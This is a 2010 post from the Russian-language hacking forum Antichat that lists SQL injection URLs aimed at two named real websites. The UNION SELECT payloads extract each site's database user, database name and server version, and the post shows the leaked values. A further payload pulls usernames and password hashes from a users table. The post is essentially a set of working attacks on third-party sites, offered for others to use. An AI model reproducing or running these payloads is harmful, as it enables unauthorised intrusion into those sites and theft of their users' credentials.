23.03.2010, 20:13
|
|
Познавший АНТИЧАТ
Регистрация: 04.08.2008
Сообщений: 1,359
С нами:
9351139
Репутация:
1593
|
|
Код:
http://www.planningtree.com/index.php?page=user&id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5+--+
Username: plantree_admin@localhost
Database: planningtree_db
Version: 5.0.45-Debian_1ubuntu3.1-log
Есть таблица users.
Пример вывода пользователя с хешом:
Код:
http://www.planningtree.com/index.php?page=user&id=-1+union+select+1,concat_ws(0x3a,username,password),3,4,5+from+users+limit+5,1--+
Код:
http://www.nl-fotostudio.com/view.php?id=-1+union+select+1,unhex(hex(concat_ws(0x3a,user(),database(),version()))),3,4,5,6,7,8,9,10,11,12--
Username: s001w6@srv1.mw-internet.net
Database: usr_s001w6_1
Version: 4.1.13-log
Последний раз редактировалось root_sashok; 23.03.2010 в 20:32..
|
|
|